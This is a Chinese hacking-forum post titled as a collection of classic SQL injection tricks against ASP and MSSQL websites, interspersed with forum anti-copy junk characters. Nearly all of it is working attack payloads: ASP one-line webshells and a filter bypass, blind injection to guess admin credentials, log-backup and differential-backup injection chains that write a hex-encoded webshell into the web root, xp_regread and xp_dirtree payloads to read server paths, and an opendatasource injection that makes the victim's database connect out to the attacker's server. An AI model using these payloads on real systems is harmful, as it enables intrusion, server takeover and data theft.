中国网络渗透测试联盟

标题: SQL 注入经典操作整理与收集 [打印本页]

作者: admin    时间: 2013-2-27 21:49
标题: SQL 注入经典操作整理与收集

% h2 ^7 V' Z" Q4 ^+ Q$ @突破〈%%〉标记过滤. Q. K, o! L/ B$ K4 {
很多时候我们可以通过在注册表单或者用户信息修改表单中,插入简短的ASP代码,使网站ASP数据库变成为一个ASP木马,然后进一步入侵控制服务器。不过在上传代码过程中,许多网页程序都不允许包含〈%%〉标记符号的内容的文件上传。
6 T; b" c7 _2 V3 z% r这样就有好多SHELL不能上传上去了。可以采用下面的方法解决。以蓝屏最小ASP木马为例。4 v7 m2 ]7 {1 y( o
原来的程序代码是“〈%execute request("l")%>", 我们可以把它的标签换下来,改成"<scriptlanguage=VBScript runat=server>execute request("l")</Script>".这样就避开了使用〈%%〉,保存为.ASP,程序照样执行。效果是一样的
4 J8 H$ Q( _* h新or注入方法5 s! x6 d! \- \$ ~5 Q. S% Q" R& c
0 J( o) D% P$ E* g
vpro.asp?id=1 or exists(select * from n0h4ck)
2 {/ u1 ]/ H' n  L; l5 m说明不存在n0h4ck这个表。
9 i8 M/ e) {1 t3 w$ N0 [8 k' Uvpro.asp?id=1 or exists(select admin from admin)
9 R, l3 Y2 `/ `2 _+ `1 F. U返回or 1=1的页面,说明admin表存在admin字段。! P: `4 f0 \1 L; n3 V, |6 \* s! M
vpro.asp?id=1 or exists(select padd from admin)
. @0 O) h. t/ h, l/ _# s: J返回or 1=2的页面,说明admin表不存在padd字段。8 H4 L3 L- o" N( {/ v  U
我们现在开始猜测数据了,
  N' ^/ a0 ~8 c7 t4 N" A2 e: g5 ZCopy code$ O* V. ?' |/ f% r5 ~# o
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='n'5 I4 Q  E6 d/ e) Q
返回or 1=2的页面,说明admin表admin字段的第一个数据的第一个字符不是"n"。
4 u  i- w6 `' u: s. q' Eopy code
! j9 U$ J: W  ovpro.asp?id=1 or (select mid(admin,1,1) from admin)='a'5 B- U- m9 |0 `! z" `8 j
返回or 1=1的页面,说明说明admin表admin字段的第一个数据的第一个字符是"a",我们第一个会想到什么呢?当然是"admin"啦。
, T$ t$ L" p5 p0 C我们用left函数确定一下,8 n/ w  K; H4 m$ S: Y* v
Copy code
! D5 K0 d* v: A6 u" mvpro.asp?id=1 or (select left(admin,5) from admin)='admin'
% J1 X/ @& J+ |4 H" q" I% ^猜测正确,的确是admin,好了,后面的话就不用我说了吧!
& S* q8 U+ Y  s一句话差异备份的牛X利用分析
7 o6 y7 b% H; H, l' r7 E3 p( {. N; t+ b. L/ C
<%eval(request("a")):response.end%> 备分专用一句话
. |& |4 [" J$ z加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
9 j  G0 ?- ~4 B5 \8 Y+ y. C7 F" o5 N! ]* N4 y1 K' n
日志备分WEBSHELL标准的七步:2 W3 x7 ^8 C  K8 P

  n: T+ K/ q7 _/ k1.InjectionURL';alter database XXX set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)! S! R  v- L$ Q- g

4 p) W( S( ]+ o. g) p2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表)
; w  \% i7 s+ j5 j, |$ \6 E$ d7 @: }2 s( R% E* v: @( O
3.InjectionURL';backup log XXX to disk = 'c:\cmd' with init-- (减少备分数据的大小)
- B. Z7 L8 J$ W  i+ a9 G) \6 {# G  M" i; @
4.InjectionURL';insert into cmd (a) values ('<%%25eval(request("a")):response.end%%25>')-- (插入一句话木马)8 y) o; F; J' ~$ l# F  v+ G
. ~8 j7 F4 Y1 L. ~) [
5.InjectionURL';backup log XXX to disk = 'd:\chinakm\test.asp'-- (备分日志到WEB路径)" `* T1 l/ c* J% P8 k5 N7 s

6 M, \5 v  E' H8 |6.InjectionURL';drop table cmd-- (删除新建的cmd表)) Z/ H4 h9 v; m) ?4 V4 q

, s' a( k) W2 B" y0 x# M+ U7.InjectionURL';alter database XXX set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)
) o5 A1 Y; J6 f* C% ^6 F
7 b4 z! C) t% C/ b注:InjectionURL是注入点,XXX是数据库名称.
/ {; c" V& _' K% \# N! `; J- ]+ ]( O* H/ K% @  Z
附上DB_ONER权限HACK的其他技巧,希望对菜菜有所帮助,高手略过.$ [. p+ F8 [$ d6 i4 A
0 W) v1 d8 Q- R; g9 F9 B* ?
数据库差异备份代码:1 q! M, B/ M4 w

8 y; S. Z  i5 Y: d2 E/ i( b1、create table [dbo].[jm_tmp] ([cmd] [image])-- 创建一个表% m$ Y/ d$ m5 m( @% _5 R/ c
# w- i" r- q( s( P9 v0 _# g
2、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换)# u9 }; g4 t3 D! i& ^0 Z0 t
$ B- l: p' j+ U$ h2 B
3、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 "<%execute(request("l"))%>"的16进制字符插入到表中3 S% n! k( L+ w5 q# u
5 K  `0 C# r: O( p4 L% j
4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\hsqq.asp' backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。
/ t6 N: Z8 `& b- x: P% ~  A6 u5 Z2 Z0 _. L: s9 C
5、drop table [jm_tmp]-- 删除此表。1 G# Z8 O6 t* ]0 p. d4 ?; b

! p- X+ l9 N  t! T网站物理路径读取代码:& s5 t0 {# e  ~( K1 p' ]4 B. q

  i% ]+ ~8 Y1 O7 n& `! d) p1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表: A8 P- E' X9 \8 k2 n& ^. p2 i2 F

& v# `' m4 y0 X+ s2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站目录插到表字段中% T( n* u5 t% k7 D

) ?7 |0 y5 L3 ]3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段
* y$ O5 @' L9 B" [8 o! b7 K, ?7 m7 f4 P6 G
4、drop table [jm_tmp]-- 删除此表。
6 e3 }5 X5 J2 F& I- m3 O8 u/ `; v( S, Q  F9 Z. q3 o# \
磁盘目录读取代码:6 v* M2 `# M. e: l" ]: K/ O$ h5 N

0 u' O7 l$ U! E' w  W1、drop table [jm_tmp];create table [jm_tmp](subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- 创建表
# Z! _( I0 m4 c1 Y) [2 H. C
5 i& b4 b& I- a1 C1 l# G2、delete [jm_tmp];insert [jm_tmp] exec master..xp_dirtree 'C:\',1,1-- 将C盘的文件夹及文件插入到表中7 k: X3 @, a  q  E8 `5 {

3 _( H' N3 w2 R( K# K8 j/ h* Y3、 and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 1 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第一个文件夹名称$ X; p9 f) U5 P% o% h) S

$ l/ C7 R0 C( x4、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 2 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第二个文件夹名称& Q# s) T8 p! ^" O

6 b7 W' q- m6 C8 x( w5、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top X [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第X个文件夹或文件名称8 N4 u1 a4 f' T% S% h

9 K; }+ D: W  U5 l6、drop table [jm_tmp]--删除此表* e; q0 Q, c4 h
$ Z5 M, r$ R; Z: _/ x4 h
网站物理路径读取代码:& j' h5 p* e% @2 ^) ?! g% Y' k

+ p1 q+ }$ y1 I6 X6 I2 x1 Z# [1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
& S  W8 @1 h6 m5 ^: l0 d
$ G) h% f# h! n2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站目录插到表字段中+ f4 D+ z; g8 _- {

2 X+ B0 O$ t; U; y: s8 T1 |7 S3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段
! d+ G+ D0 g* c7 i! s# P5 ?) H8 w+ R1 h; b: o5 c
4、drop table [jm_tmp]-- 删除此表。
3 B) s; @$ y7 l, J1 _9 G* j) Y
7 ?; Q, w. n1 `: G4 W: }8 h( N8 I注射过程中DB_ONER权限并且主机与数据库不在一起的搞法6 \) w8 O& G" F2 ~( z$ S

' m# i; @! A( |% S- ~其实.即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般服务器装好系统什么的.都会装个IIS吧?列他C盘.看看有没有Inetpub 这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?可以这样来,PING一下WEB服务器.扫他这一C段的1433端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.1433端口就算开了你也扫不着.这该怎么办呢?可以利用opendatasource宏让对方的 SQL与自己的数据库建立连接.既然能建立连接.就可以得到数据库服务器的IP地址了.我们来试试看.有几个前提得说一下.第一.你机器必须要有公网 IP.而且开放的1433端口要保证能被外网访问到.好.条件满足.就开始做吧!! E  D; ~, @' y) R0 H9 O% L% G( U
2 Q. C' R$ W/ }$ Q3 z- k
我现在搞的这站.100%数据和WEB不在一块.但是从C盘看到了Inetpub文件夹.说明这数据库服务器安装了IIS.但是得不到他IP呀.怎么搞哦.简单.就用上面所说的方法搞一下.先在本机建个库先.打开查询分析器输入
3 F" b7 X$ t3 \6 j0 g" t& ^! U6 |create database hack520 create TABLE zhu(name nvarchar(256) null);create TABLE J8(id int NULL,name nvarchar(256) null); 点执行.& E& O- b) O# s7 d* d9 X

) U6 W/ q+ n5 ~2 F7 Z建立了一个hack520的库名.和zhu J8两个表.zhu里面有name这一个字段.J8也放了两字段名.一个是id一个是name.好了.现在就可以开始建立连接了~~~~~~~先看一下这条SQL语句insert into opendatasource('sqloledb','server=你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库名') .库名.表名 '执行的语句' 恩现在开始吧...
; D0 @! S5 w4 B" t6 j) E& v8 b; V, l4 j
http://www.xxx.com/news.as... ... asource('sqloledb','server=219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=hack520').hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases--3 c# x& }" L: R' \- X+ ~0 |% Y
2 ]5 d! h$ b- O
在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下7 v4 @; g; k# l, ?

8 K8 g9 H) K7 P% Z$ b7 h7 Z在CMD下输入命令:
% @/ T, W1 l3 p" U- mnetstat -an | find "1433"




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2